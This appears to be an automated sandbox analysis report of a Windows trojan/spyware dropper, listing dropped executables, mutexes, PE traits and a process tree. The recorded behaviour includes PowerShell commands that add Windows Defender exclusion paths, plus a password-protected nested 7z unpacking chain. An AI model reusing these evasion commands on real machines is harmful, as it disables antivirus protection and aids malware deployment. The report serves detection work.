Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B7E530	6_2_00B7E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B96192	6_2_00B96192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB8860	6_2_00BB8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B74B30	6_2_00B74B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B74DE0	6_2_00B74DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB2D10	6_2_00BB2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B90E13	6_2_00B90E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB7049	6_2_00BB7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB31A8	6_2_00BB31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B91602	6_2_00B91602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB779B	6_2_00BB779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB78BB	6_2_00BB78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B93DF1	6_2_00B93DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA7F36	6_2_00BA7F36
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01252310	7_2_01252310
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01250F38	7_2_01250F38
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_0125215F	7_2_0125215F
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01252014	7_2_01252014
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_012520AA	7_2_012520AA
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01252C60	7_2_01252C60
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01252C5B	7_2_01252C5B
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01250E8D	7_2_01250E8D
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01253740	7_2_01253740
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01253648	7_2_01253648
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01251B5F	7_2_01251B5F
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01251AFA	7_2_01251AFA
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01251D69	7_2_01251D69
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01251DEA	7_2_01251DEA
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01251CB1	7_2_01251CB1
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01251FBF	7_2_01251FBF
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_01251E9E	7_2_01251E9E
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D114D8	7_2_04D114D8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D12C00	7_2_04D12C00
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D18528	7_2_04D18528
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D1109B	7_2_04D1109B
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D110A0	7_2_04D110A0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D13033	7_2_04D13033
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D13038	7_2_04D13038
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_04D11910	7_2_04D11910
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD0B90	7_2_09BD0B90
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD2CF8	7_2_09BD2CF8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD7F70	7_2_09BD7F70
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD9E98	7_2_09BD9E98
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD1E88	7_2_09BD1E88
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD9598	7_2_09BD9598
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD1450	7_2_09BD1450
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD8960	7_2_09BD8960
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD8950	7_2_09BD8950
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD18E8	7_2_09BD18E8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD18D8	7_2_09BD18D8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD2BE0	7_2_09BD2BE0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD3BD8	7_2_09BD3BD8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD3BD2	7_2_09BD3BD2
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD0AF1	7_2_09BD0AF1
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD4DE0	7_2_09BD4DE0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD4DDF	7_2_09BD4DDF
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD8D20	7_2_09BD8D20
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD8D10	7_2_09BD8D10
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD2C10	7_2_09BD2C10
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD4FE8	7_2_09BD4FE8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD4FDA	7_2_09BD4FDA
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD7F62	7_2_09BD7F62
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD9E88	7_2_09BD9E88
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD1E87	7_2_09BD1E87
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD003F	7_2_09BD003F
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD0040	7_2_09BD0040
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD8228	7_2_09BD8228
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD8218	7_2_09BD8218
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD5278	7_2_09BD5278
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD5277	7_2_09BD5277
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD9588	7_2_09BD9588
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD8568	7_2_09BD8568
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD8558	7_2_09BD8558
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD5458	7_2_09BD5458
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BDA448	7_2_09BDA448
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD544A	7_2_09BD544A
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BDA447	7_2_09BDA447
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09BD1441	7_2_09BD1441
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F02106	7_2_09F02106
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F0A514	7_2_09F0A514
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F0BD98	7_2_09F0BD98
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 7_2_09F02FC0	7_2_09F02FC0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_031DA3A8	9_2_031DA3A8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_031D21B0	9_2_031D21B0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_031D21C0	9_2_031D21C0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AC17D0	9_2_05AC17D0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AC2878	9_2_05AC2878
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AC1B07	9_2_05AC1B07
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD7F38	9_2_05AD7F38
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD3F50	9_2_05AD3F50
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD4613	9_2_05AD4613
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD7668	9_2_05AD7668
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD489F	9_2_05AD489F
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD426F	9_2_05AD426F
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD45BC	9_2_05AD45BC
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD45B0	9_2_05AD45B0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD45EA	9_2_05AD45EA
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD3F86	9_2_05AD3F86
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD3F50	9_2_05AD3F50
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD3F43	9_2_05AD3F43
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD49E1	9_2_05AD49E1
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD23D8	9_2_05AD23D8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD7320	9_2_05AD7320
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD42F4	9_2_05AD42F4
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD4229	9_2_05AD4229
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD4A01	9_2_05AD4A01
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AD421D	9_2_05AD421D
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AE49A0	9_2_05AE49A0
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AE99F8	9_2_05AE99F8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AE8E88	9_2_05AE8E88
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AE8E79	9_2_05AE8E79
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AE4990	9_2_05AE4990
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AE99E8	9_2_05AE99E8
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 9_2_05AE9B7B	9_2_05AE9B7B

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 007F80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B8DF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BA8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B880C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B8D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B87A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B8D942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B8D663 appears 40 times

Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 684

Source: 96ae609d19.exe.6.dr	Static PE information: No import functions for PE file found
Source: random[2].exe.6.dr	Static PE information: No import functions for PE file found

Source: 96ae609d19.exe.6.dr	Static PE information: Data appended to the last section found
Source: random[2].exe.6.dr	Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: zudFSfy[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: zudFSfy.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: kz8ZdyP[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: kz8ZdyP.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983555432561307
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983555432561307
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 641d24797a.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 641d24797a.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.995773033902214
Source: random[1].exe1.6.dr	Static PE information: Section: alcvhdaz ZLIB complexity 0.9926109047202797
Source: ac68c6b737.exe.6.dr	Static PE information: Section: ZLIB complexity 0.995773033902214
Source: ac68c6b737.exe.6.dr	Static PE information: Section: alcvhdaz ZLIB complexity 0.9926109047202797

Source: e56fffc2ce.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: e56fffc2ce.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule
Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[1].exe0.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[1].exe0.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: ac68c6b737.exe, 00000015.00000002.2763969121.0000000000159000.00000040.00000001.01000000.00000014.sdmp, ac68c6b737.exe, 00000015.00000003.2721732404.0000000004948000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: svchost.exe, 00000016.00000002.2756608289.0000000002C00000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: cWM1Z.SLN
Source: ac68c6b737.exe, 00000015.00000002.2763969121.0000000000159000.00000040.00000001.01000000.00000014.sdmp, ac68c6b737.exe, 00000015.00000003.2721732404.0000000004948000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@79/57@5/7

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zudFSfy[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Mutant created: \Sessions\1\BaseNamedObjects\80065eb12166c1a5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2132:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4624:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Mutant created: \Sessions\1\BaseNamedObjects\d64bb8558ef9e818
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1004:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	Virustotal: Detection: 53%
Source: file.exe	ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe "C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe"
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process created: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe "C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe "C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe "C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe"
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 684
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe "C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe "C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe"
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe "C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
